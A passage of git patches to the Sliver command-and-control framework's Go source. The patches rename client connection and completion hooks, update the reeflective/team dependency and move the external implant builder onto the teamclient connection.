*console.SliverClient) carapace.Action { // CredsCredentialIDCompleter completes credential IDs. func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index 25c58437f6..941b7289ef 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -65,7 +65,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient // FormatCompleter completes builds' architectures. func ArchCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } @@ -103,7 +103,7 @@ func ArchCompleter(con *console.SliverClient) carapace.Action { // FormatCompleter completes build operating systems. func OSCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } @@ -150,7 +150,7 @@ func FormatCompleter() carapace.Action { // TrafficEncoderCompleter - Completes the names of traffic encoders. func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } @@ -180,7 +180,7 @@ func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { // MsfFormatCompleter completes MsfVenom stager formats. func MsfFormatCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } @@ -208,7 +208,7 @@ func MsfFormatCompleter(con *console.SliverClient) carapace.Action { // MsfArchCompleter completes MsfVenom stager architectures. func MsfArchCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } @@ -235,7 +235,7 @@ func MsfArchCompleter(con *console.SliverClient) carapace.Action { // MsfFormatCompleter completes MsfVenom stager encoders. func MsfEncoderCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } @@ -262,7 +262,7 @@ func MsfEncoderCompleter(con *console.SliverClient) carapace.Action { // MsfPayloadCompleter completes Metasploit payloads. func MsfPayloadCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index 2336cf7449..76d806ed4f 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -126,7 +126,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl // ImplantBuildNameCompleter - Completer for implant build names. func ImplantBuildNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/generate/profiles.go b/client/command/generate/profiles.go index d20e4d7d1d..120055568d 100644 --- a/client/command/generate/profiles.go +++ b/client/command/generate/profiles.go @@ -423,7 +423,7 @@ func PrintProfileInfo(name string, con *console.SliverClient) { // ProfileNameCompleter - Completer for implant build names. func ProfileNameCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/jobs/jobs.go b/client/command/jobs/jobs.go index bb8f05a644..e9683ec695 100644 --- a/client/command/jobs/jobs.go +++ b/client/command/jobs/jobs.go @@ -92,7 +92,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverClient) { // JobsIDCompleter completes jobs IDs with descriptions. func JobsIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/pivots/helpers.go b/client/command/pivots/helpers.go index ac16fb9b4c..240a65bfa7 100644 --- a/client/command/pivots/helpers.go +++ b/client/command/pivots/helpers.go @@ -69,7 +69,7 @@ func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.Slive // PivotIDCompleter completes pivot listeners' IDs. func PivotIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index 8c0aa9e515..ddcbb655b9 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -81,7 +81,7 @@ func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags // PortfwdIDCompleter completes IDs of remote portforwarders. func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { callback := func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/sessions/helpers.go b/client/command/sessions/helpers.go index cf0056c3ef..d65288d14a 100644 --- a/client/command/sessions/helpers.go +++ b/client/command/sessions/helpers.go @@ -109,7 +109,7 @@ func SelectSession(onlyAlive bool, con *console.SliverClient) (*clientpb.Session // SessionIDCompleter completes session IDs. func SessionIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/tasks/helpers.go b/client/command/tasks/helpers.go index eaf7e77bdf..20fe336d4e 100644 --- a/client/command/tasks/helpers.go +++ b/client/command/tasks/helpers.go @@ -52,7 +52,7 @@ func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error // BeaconTaskIDCompleter returns a structured list of tasks completions, grouped by state. func BeaconTaskIDCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } @@ -121,7 +121,7 @@ func BeaconTaskIDCompleter(con *console.SliverClient) carapace.Action { // BeaconPendingTasksCompleter completes pending tasks. func BeaconPendingTasksCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/websites/websites.go b/client/command/websites/websites.go index e08f3a640a..ac7f56a215 100644 --- a/client/command/websites/websites.go +++ b/client/command/websites/websites.go @@ -113,7 +113,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverClient) { // WebsiteNameCompleter completes the names of available websites. func WebsiteNameCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/wireguard/wg-portfwd-rm.go b/client/command/wireguard/wg-portfwd-rm.go index 59e8e54729..edf80c7ff5 100644 --- a/client/command/wireguard/wg-portfwd-rm.go +++ b/client/command/wireguard/wg-portfwd-rm.go @@ -69,7 +69,7 @@ func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string // PortfwdIDCompleter completes IDs of WireGuard remote portforwarders. func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/command/wireguard/wg-socks.go b/client/command/wireguard/wg-socks.go index 4a2c41bfe4..cb8cd09e6a 100644 --- a/client/command/wireguard/wg-socks.go +++ b/client/command/wireguard/wg-socks.go @@ -76,7 +76,7 @@ func WGSocksListCmd(cmd *cobra.Command, con *console.SliverClient, args []string // SocksIDCompleter IDs of WireGuard socks servers. func SocksIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { + if msg, err := con.PreRunComplete(); err != nil { return msg } diff --git a/client/console/command.go b/client/console/command.go index 470c1ad424..4a17ea52ef 100644 --- a/client/console/command.go +++ b/client/console/command.go @@ -83,7 +83,7 @@ func (con *SliverClient) FilterCommands(cmd *cobra.Command, filters ...string) { // AddPreRunner should be considered part of the temporary API. // It is used by the Sliver client to run hooks before running its own pre-connect // handlers, and can thus be used to register server-only pre-run routines. -func (con *SliverClient) AddPreRunners(hooks ...func(_ *cobra.Command, _ []string) error) { +func (con *SliverClient) AddPreRuns(hooks ...func(_ *cobra.Command, _ []string) error) { con.preRunners = append(con.preRunners, hooks...) } diff --git a/client/console/console.go b/client/console/console.go index e02e437956..b8b91c3de1 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -180,6 +180,7 @@ func newClient() *SliverClient { Settings: settings, isCLI: true, printf: fmt.Printf, + jsonHandler: slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{}), ActiveTarget: newActiveTarget(), EventListeners: &sync.Map{}, BeaconTaskCallbacks: map[string]BeaconTaskCallback{}, diff --git a/client/console/teamclient.go b/client/console/teamclient.go index a91c912541..5563e2e40c 100644 --- a/client/console/teamclient.go +++ b/client/console/teamclient.go @@ -37,7 +37,7 @@ import ( "github.com/reeflective/team" ) -// ConnectRun is a spf13/cobra-compliant runner function to be included +// PreRunConnect is a spf13/cobra-compliant runner function to be included // in/as any of the runners that such cobra.Commands offer to use. // // The function will connect the Sliver teamclient to a remote server, @@ -45,7 +45,7 @@ import ( // // Note that this function will always check if it used as part of a completion // command execution call, in which case asciicast/logs streaming is disabled. -func (con *SliverClient) ConnectRun(cmd *cobra.Command, args []string) error { +func (con *SliverClient) PreRunConnect(cmd *cobra.Command, args []string) error { con.FilterCommands(cmd) // If commands are imcompatible with the current requirements. @@ -85,7 +85,7 @@ func (con *SliverClient) ConnectRun(cmd *cobra.Command, args []string) error { return con.startClientLog() } -// ConnectComplete is a special connection mode which should be +// PreRunComplete is a special connection mode which should be // called in completer functions that need to use the client RPC. // It is almost equivalent to client.ConnectRun(), but for completions. // @@ -94,7 +94,7 @@ func (con *SliverClient) ConnectRun(cmd *cobra.Command, args []string) error { // // This function is safe to call regardless of the client being used // as a closed-loop console mode or in an exec-once CLI mode. -func (con *SliverClient) ConnectComplete() (carapace.Action, error) { +func (con *SliverClient) PreRunComplete() (carapace.Action, error) { if con.Rpc != nil { return carapace.ActionValues(), nil } @@ -124,7 +124,6 @@ func (con *SliverClient) ConnectComplete() (carapace.Action, error) { // Sliver RPC client connection. This should be ran as a post-runner. // After this call, the client can reconnect should it want to. func (con *SliverClient) PostRunDisconnect(cmd *cobra.Command, args []string) error { - // Close all RPC streams and local files. con.closeClientStreams() // Close the RPC client connection. diff --git a/go.mod b/go.mod index ff937aa9a5..8f6056eff5 100644 --- a/go.mod +++ b/go.mod @@ -40,7 +40,7 @@ require ( github.com/ncruces/go-sqlite3 v0.8.4 github.com/reeflective/console v0.1.7 github.com/reeflective/readline v1.0.9 - github.com/reeflective/team v0.1.0 + github.com/reeflective/team v0.1.1 github.com/rsteube/carapace v0.43.0 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.7.0 diff --git a/go.sum b/go.sum index 4a45586f2f..1cee59433f 100644 --- a/go.sum +++ b/go.sum @@ -347,8 +347,8 @@ github.com/reeflective/console v0.1.7 h1:nCuWfWv5x6B9T1XSko/2LdFQSftiwnE+NpNvKDF github.com/reeflective/console v0.1.7/go.mod h1:hnei2839LkOh6N4m2rTx2Vx3QAVkF9X74BG7MKbIljs= github.com/reeflective/readline v1.0.9 h1:ZA+V4HIWonwn8B4gUaaKwPtBogch19qgdk1I+hqULdk= github.com/reeflective/readline v1.0.9/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY= -github.com/reeflective/team v0.1.0 h1:QsByDuinPxSir2KH1/tCFyQ3W1z/YBX9Y4SwVbU1hK0= -github.com/reeflective/team v0.1.0/go.mod h1:vl9Qz2nXOy+iOHIQPm15Dno3NXn6LO8+7M3bKTaKIC8= +github.com/reeflective/team v0.1.1 h1:6kWg+LwrYAV/QIjPfXZFp8wA9cEj4IUEE1L9BGOal0U= +github.com/reeflective/team v0.1.1/go.mod h1:vl9Qz2nXOy+iOHIQPm15Dno3NXn6LO8+7M3bKTaKIC8= github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= diff --git a/server/cli/cli.go b/server/cli/cli.go index 9f6b63051a..051a604936 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -111,10 +111,10 @@ func sliverServerCLI(team *server.Server, con *client.SliverClient) (root *cobra // The server is also a client of itself, so add our sliver-server // binary specific pre-run hooks: assets, encoders, toolchains, etc. - con.AddPreRunners(preRunServerS(team, con)) + con.AddPreRuns(preRunServerS(team, con)) // Pre/post runners and completions. - clientCommand.BindPreRun(root, con.ConnectRun) + clientCommand.BindPreRun(root, con.PreRunConnect) clientCommand.BindPostRun(root, con.PostRunDisconnect) // Generate the root completion command. @@ -155,24 +155,24 @@ func preRunServerS(teamserver *server.Server, con *client.SliverClient) clientCo // preRunServer is the server-binary-specific pre-run; it ensures that the server // has everything it needs to perform any client-side command/task. -func preRunServer(teamserver *server.Server, con *client.SliverClient) func() error { - return func() error { - // Ensure the server has what it needs. - assets.Setup(false, true) - encoders.Setup() - certs.SetupCAs() - certs.SetupWGKeys() - cryptography.AgeServerKeyPair() - cryptography.MinisignServerPrivateKey() - - // TODO: Move this out of here. - serverConfig := configs.GetServerConfig() - c2.StartPersistentJobs(serverConfig) - - // Let our in-memory teamclient be served. - return teamserver.Serve(con.Teamclient) - } -} +// func preRunServer(teamserver *server.Server, con *client.SliverClient) func() error { +// return func() error { +// // Ensure the server has what it needs. +// assets.Setup(false, true) +// encoders.Setup() +// certs.SetupCAs() +// certs.SetupWGKeys() +// cryptography.AgeServerKeyPair() +// cryptography.MinisignServerPrivateKey() +// +// // TODO: Move this out of here. +// serverConfig := configs.GetServerConfig() +// c2.StartPersistentJobs(serverConfig) +// +// // Let our in-memory teamclient be served. +// return teamserver.Serve(con.Teamclient) +// } +// } // preRun := func(cmd *cobra.Command, _ []string) error { // diff --git a/vendor/github.com/reeflective/team/client/commands/commands.go b/vendor/github.com/reeflective/team/client/commands/commands.go index 21923a225f..9f714bd1f0 100644 --- a/vendor/github.com/reeflective/team/client/commands/commands.go +++ b/vendor/github.com/reeflective/team/client/commands/commands.go @@ -25,13 +25,12 @@ import ( "path/filepath" "strings" + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" "github.com/spf13/pflag" - - "github.com/reeflective/team/client" - "github.com/reeflective/team/internal/command" ) // Generate returns a command tree to embed in client applications connecting diff --git a/vendor/github.com/reeflective/team/client/commands/import.go b/vendor/github.com/reeflective/team/client/commands/import.go index ff470c2db5..166a86c20a 100644 --- a/vendor/github.com/reeflective/team/client/commands/import.go +++ b/vendor/github.com/reeflective/team/client/commands/import.go @@ -22,11 +22,10 @@ import ( "encoding/json" "fmt" - "github.com/sirupsen/logrus" - "github.com/spf13/cobra" - "github.com/reeflective/team/client" "github.com/reeflective/team/internal/command" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" ) func importCmd(cli *client.Client) func(cmd *cobra.Command, args []string) { diff --git a/vendor/github.com/reeflective/team/client/commands/users.go b/vendor/github.com/reeflective/team/client/commands/users.go index 3b7f1ca05d..f3045c9794 100644 --- a/vendor/github.com/reeflective/team/client/commands/users.go +++ b/vendor/github.com/reeflective/team/client/commands/users.go @@ -23,11 +23,10 @@ import ( "time" "github.com/jedib0t/go-pretty/v6/table" - "github.com/sirupsen/logrus" - "github.com/spf13/cobra" - "github.com/reeflective/team/client" "github.com/reeflective/team/internal/command" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" ) func usersCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error { diff --git a/vendor/github.com/reeflective/team/client/commands/version.go b/vendor/github.com/reeflective/team/client/commands/version.go index 2920bca8a4..975c0d96c2 100644 --- a/vendor/github.com/reeflective/team/client/commands/version.go +++ b/vendor/github.com/reeflective/team/client/commands/version.go @@ -22,11 +22,10 @@ import ( "fmt" "time" - "github.com/sirupsen/logrus" - "github.com/spf13/cobra" - "github.com/reeflective/team/client" "github.com/reeflective/team/internal/command" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" ) func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error { diff --git a/vendor/github.com/reeflective/team/server/commands/commands.go b/vendor/github.com/reeflective/team/server/commands/commands.go index 1e0c766126..6439dea177 100644 --- a/vendor/github.com/reeflective/team/server/commands/commands.go +++ b/vendor/github.com/reeflective/team/server/commands/commands.go @@ -21,14 +21,13 @@ package commands import ( "fmt" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/reeflective/team/client" cli "github.com/reeflective/team/client/commands" "github.com/reeflective/team/internal/command" "github.com/reeflective/team/server" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Generate returns a "teamserver" command root and its tree for teamserver (server-side) management. @@ -118,7 +117,12 @@ func serverCommands(server *server.Server, client *client.Client) *cobra.Command closeComps.PositionalAnyCompletion(carapace.ActionCallback(listenerIDCompleter(client, server))) closeComps.PreRun(func(cmd *cobra.Command, args []string) { - cmd.PersistentPreRunE(cmd, args) + if cmd.PersistentPreRunE != nil { + cmd.PersistentPreRunE(cmd, args) + } + if cmd.PreRunE != nil { + cmd.PreRunE(cmd, args) + } }) teamCmd.AddCommand(closeCmd) @@ -213,7 +217,12 @@ func serverCommands(server *server.Server, client *client.Client) *cobra.Command rmUserComps.PositionalCompletion(carapace.ActionCallback(userCompleter(client, server))) rmUserComps.PreRun(func(cmd *cobra.Command, args []string) { - cmd.PersistentPreRunE(cmd, args) + if cmd.PersistentPreRunE != nil { + cmd.PersistentPreRunE(cmd, args) + } + if cmd.PreRunE != nil { + cmd.PreRunE(cmd, args) + } }) // Import a list of users and their credentials. diff --git a/vendor/github.com/reeflective/team/server/commands/completers.go b/vendor/github.com/reeflective/team/server/commands/completers.go index 1b336cebbf..40c2d12af3 100644 --- a/vendor/github.com/reeflective/team/server/commands/completers.go +++ b/vendor/github.com/reeflective/team/server/commands/completers.go @@ -23,10 +23,9 @@ import ( "net" "strings" - "github.com/rsteube/carapace" - "github.com/reeflective/team/client" "github.com/reeflective/team/server" + "github.com/rsteube/carapace" ) // interfacesCompleter completes interface addresses on the client host. diff --git a/vendor/github.com/reeflective/team/server/commands/teamserver.go b/vendor/github.com/reeflective/team/server/commands/teamserver.go index 6b16e42432..286536acb7 100644 --- a/vendor/github.com/reeflective/team/server/commands/teamserver.go +++ b/vendor/github.com/reeflective/team/server/commands/teamserver.go @@ -28,13 +28,12 @@ import ( "strings" "github.com/jedib0t/go-pretty/v6/table" - "github.com/sirupsen/logrus" - "github.com/spf13/cobra" - "github.com/reeflective/team/internal/command" "github.com/reeflective/team/internal/log" "github.com/reeflective/team/internal/systemd" "github.com/reeflective/team/server" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" ) func daemoncmd(serv *server.Server) func(cmd *cobra.Command, args []string) error { @@ -72,7 +71,7 @@ func daemoncmd(serv *server.Server) func(cmd *cobra.Command, args []string) erro lport = uint16(serv.GetConfig().DaemonMode.Port) } - fmt.Fprintf(cmd.OutOrStdout(), "Starting %s teamserver daemon on %s:%d ...", serv.Name(), lhost, lport) + fmt.Fprintf(cmd.OutOrStdout(), "Starting %s teamserver daemon on %s:%d ...\n", serv.Name(), lhost, lport) // Blocking call, your program will only exit/resume on Ctrl-C/SIGTERM return serv.ServeDaemon(lhost, lport) diff --git a/vendor/github.com/reeflective/team/server/commands/user.go b/vendor/github.com/reeflective/team/server/commands/user.go index 92b6f895a2..e8c1f68cd1 100644 --- a/vendor/github.com/reeflective/team/server/commands/user.go +++ b/vendor/github.com/reeflective/team/server/commands/user.go @@ -8,13 +8,12 @@ import ( "path/filepath" "strings" - "github.com/sirupsen/logrus" - "github.com/spf13/cobra" - "github.com/reeflective/team/client" "github.com/reeflective/team/internal/assets" "github.com/reeflective/team/internal/command" "github.com/reeflective/team/server" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" ) func createUserCmd(serv *server.Server, cli *client.Client) func(cmd *cobra.Command, args []string) { diff --git a/vendor/github.com/reeflective/team/server/server.go b/vendor/github.com/reeflective/team/server/server.go index f6e47d0ea0..08e24e4974 100644 --- a/vendor/github.com/reeflective/team/server/server.go +++ b/vendor/github.com/reeflective/team/server/server.go @@ -142,7 +142,7 @@ func (ts *Server) ServeDaemon(host string, port uint16, opts ...Options) (err er err = ts.ListenerStartPersistents() if err != nil && hostPort.MatchString(err.Error()) { - log.Errorf("Error starting persistent listeners: %s", err) + log.Errorf("Error starting persistent listeners: %s\n", err) } done := make(chan bool) diff --git a/vendor/modules.txt b/vendor/modules.txt index a986284128..1489988cec 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -537,7 +537,7 @@ github.com/reeflective/readline/internal/macro github.com/reeflective/readline/internal/strutil github.com/reeflective/readline/internal/term github.com/reeflective/readline/internal/ui -# github.com/reeflective/team v0.1.0 +# github.com/reeflective/team v0.1.1 ## explicit; go 1.21 github.com/reeflective/team github.com/reeflective/team/client From efb1b6dbe02a09400d1546f0f5694330af36965a Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 05:52:54 +0200 Subject: [PATCH 096/124] Finish builder client port to teamclient --- client/console/readline.go | 2 ++ server/builder/builder.go | 26 +++++++++++------------ server/command/builder/builder.go | 34 ++++++++++++++++--------------- 3 files changed, 32 insertions(+), 30 deletions(-) diff --git a/client/console/readline.go b/client/console/readline.go index 64c92ce28c..1af41621e0 100644 --- a/client/console/readline.go +++ b/client/console/readline.go @@ -113,6 +113,8 @@ func (con *SliverClient) WaitSignal() error { return nil } + con.PrintInfof("(Use Ctrl-C/SIGINT to exit, Ctrl-Z to background)") + sigchan := make(chan os.Signal, 1) signal.Notify( diff --git a/server/builder/builder.go b/server/builder/builder.go index 71c6a45cea..e8a4833850 100644 --- a/server/builder/builder.go +++ b/server/builder/builder.go @@ -23,10 +23,10 @@ import ( "fmt" "io" "os" - "os/signal" "path/filepath" "strings" + "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" @@ -46,26 +46,24 @@ type Config struct { } // StartBuilder - main entry point for the builder -func StartBuilder(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) { - sigint := make(chan os.Signal, 1) - signal.Notify(sigint, os.Interrupt) - +func StartBuilder(externalBuilder *clientpb.Builder, con *console.SliverClient) error { builderLog.Infof("Attempting to register builder: %s", externalBuilder.Name) - events, err := buildEvents(externalBuilder, rpc) + con.PrintInfof("Attempting to register builder: %s", externalBuilder.Name) + + events, err := buildEvents(externalBuilder, con.Rpc) if err != nil { builderLog.Errorf("Build events handler error: %s", err.Error()) - return + return nil } // Wait for signal or builds - for { - select { - case <-sigint: - return - case event := <-events: - go handleBuildEvent(externalBuilder, event, rpc) + go func() { + for event := range events { + go handleBuildEvent(externalBuilder, event, con.Rpc) } - } + }() + + return con.WaitSignal() } func buildEvents(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) (<-chan *clientpb.Event, error) { diff --git a/server/command/builder/builder.go b/server/command/builder/builder.go index 974ee9ee2c..b333319a63 100644 --- a/server/command/builder/builder.go +++ b/server/command/builder/builder.go @@ -25,18 +25,17 @@ import ( "runtime/debug" "strings" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/reeflective/team/client" "github.com/reeflective/team/client/commands" "github.com/reeflective/team/server" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/server/builder" "github.com/bishopfox/sliver/server/generate" "github.com/bishopfox/sliver/server/log" @@ -84,15 +83,15 @@ func Commands(con *console.SliverClient, team *server.Server) []*cobra.Command { return []*cobra.Command{builderCmd} } -func runBuilderCmd(cmd *cobra.Command, args []string, team *server.Server) { +func runBuilderCmd(cmd *cobra.Command, args []string, team *server.Server) error { configPath, err := cmd.Flags().GetString(operatorConfigFlagStr) if err != nil { builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err) - return + return nil } if configPath == "" { builderLog.Errorf("Missing --%s flag\n", operatorConfigFlagStr) - return + return nil } quiet, err := cmd.Flags().GetBool(quietFlagStr) @@ -107,7 +106,7 @@ func runBuilderCmd(cmd *cobra.Command, args []string, team *server.Server) { level, err := cmd.Flags().GetInt(logLevelFlagStr) if err != nil { builderLog.Errorf("Failed to parse --%s flag %s\n", logLevelFlagStr, err) - return + return nil } log.RootLogger.SetLevel(log.LevelFrom(level)) @@ -123,7 +122,7 @@ func runBuilderCmd(cmd *cobra.Command, args []string, team *server.Server) { externalBuilder.Templates = []string{"sliver"} // load the client configuration from the filesystem - startBuilderTeamclient(externalBuilder, configPath, team) + return startBuilderTeamclient(externalBuilder, configPath, team) } func parseBuilderConfigFlags(cmd *cobra.Command) *clientpb.Builder { @@ -256,10 +255,14 @@ func parseForceDisableTargets(cmd *cobra.Command, externalBuilder *clientpb.Buil } } -func startBuilderTeamclient(externalBuilder *clientpb.Builder, configPath string, team *server.Server) { - tc := new(transport.TeamClient) +func startBuilderTeamclient(externalBuilder *clientpb.Builder, configPath string, team *server.Server) error { + // Make an altogether new Sliver client. We have all of its tooling by default, at no cost. + sliverClient, err := console.NewSliverClient() + if err != nil { + return err + } - teamclient := team.Self(client.WithDialer(tc)) + teamclient := sliverClient.Teamclient // Now use our teamclient to fetch the configuration. config, err := teamclient.ReadConfig(configPath) @@ -279,15 +282,14 @@ func startBuilderTeamclient(externalBuilder *clientpb.Builder, configPath string builderLog.Infof("Hello my name is: %s", externalBuilder.Name) builderLog.Infof("Connecting to %s@%s:%d ...", config.User, config.Host, config.Port) + sliverClient.PrintInfof("Connecting to %s@%s:%d ...", config.User, config.Host, config.Port) - // And immediately connect with it. + // And immediately connect to it. teamclient.Connect(client.WithConfig(config)) defer teamclient.Disconnect() - rpc := rpcpb.NewSliverRPCClient(tc.Conn) - // Let the builder do its work, blocking. - builder.StartBuilder(externalBuilder, rpc) + return builder.StartBuilder(externalBuilder, sliverClient) } // builderFormatsCompleter completes supported builders architectures. From 532bfaf43d9c5dd5f42b37e164410c35290defde Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 06:36:47 +0200 Subject: [PATCH 097/124] Test and fix builders with a simple teamclient backend. --- client/console/console.go | 9 ++++++--- client/console/teamclient.go | 4 ++-- server/builder/builder.go | 6 +++--- server/command/assets/unpack.go | 3 ++- server/command/builder/builder.go | 30 +++++++++++++++++------------- 5 files changed, 30 insertions(+), 22 deletions(-) diff --git a/client/console/console.go b/client/console/console.go index b8b91c3de1..0d256d0f5d 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -105,8 +105,11 @@ type SliverClient struct { isCLI bool // Teamclient & remotes + // The dialer being exported is quite dirty, + // and there might be a way to unexport it. + // The problem is currently with builders which need it. Teamclient *client.Client - dialer *transport.TeamClient + Dialer *transport.TeamClient preRunners []func(*cobra.Command, []string) error // Logging @@ -148,12 +151,12 @@ func NewSliverClient(opts ...grpc.DialOption) (con *SliverClient, err error) { con = newClient() // Our reeflective/team.Client needs our gRPC stack. - con.dialer = transport.NewClient(opts...) + con.Dialer = transport.NewClient(opts...) var clientOpts []client.Options clientOpts = append(clientOpts, client.WithHomeDirectory(assets.GetRootAppDir()), - client.WithDialer(con.dialer), + client.WithDialer(con.Dialer), client.WithLogger(initTeamclientLog()), ) diff --git a/client/console/teamclient.go b/client/console/teamclient.go index 5563e2e40c..4eb07e8fd3 100644 --- a/client/console/teamclient.go +++ b/client/console/teamclient.go @@ -72,7 +72,7 @@ func (con *SliverClient) PreRunConnect(cmd *cobra.Command, args []string) error // Register our Sliver client services, and monitor events. // Also set ourselves up to save our client commands in history. - con.connect(con.dialer.Conn) + con.connect(con.Dialer.Conn) // Never enable asciicasts/logs streaming when this // client is used to perform completions. Both of these will tinker @@ -114,7 +114,7 @@ func (con *SliverClient) PreRunComplete() (carapace.Action, error) { // Register our Sliver client services, and monitor events. // Also set 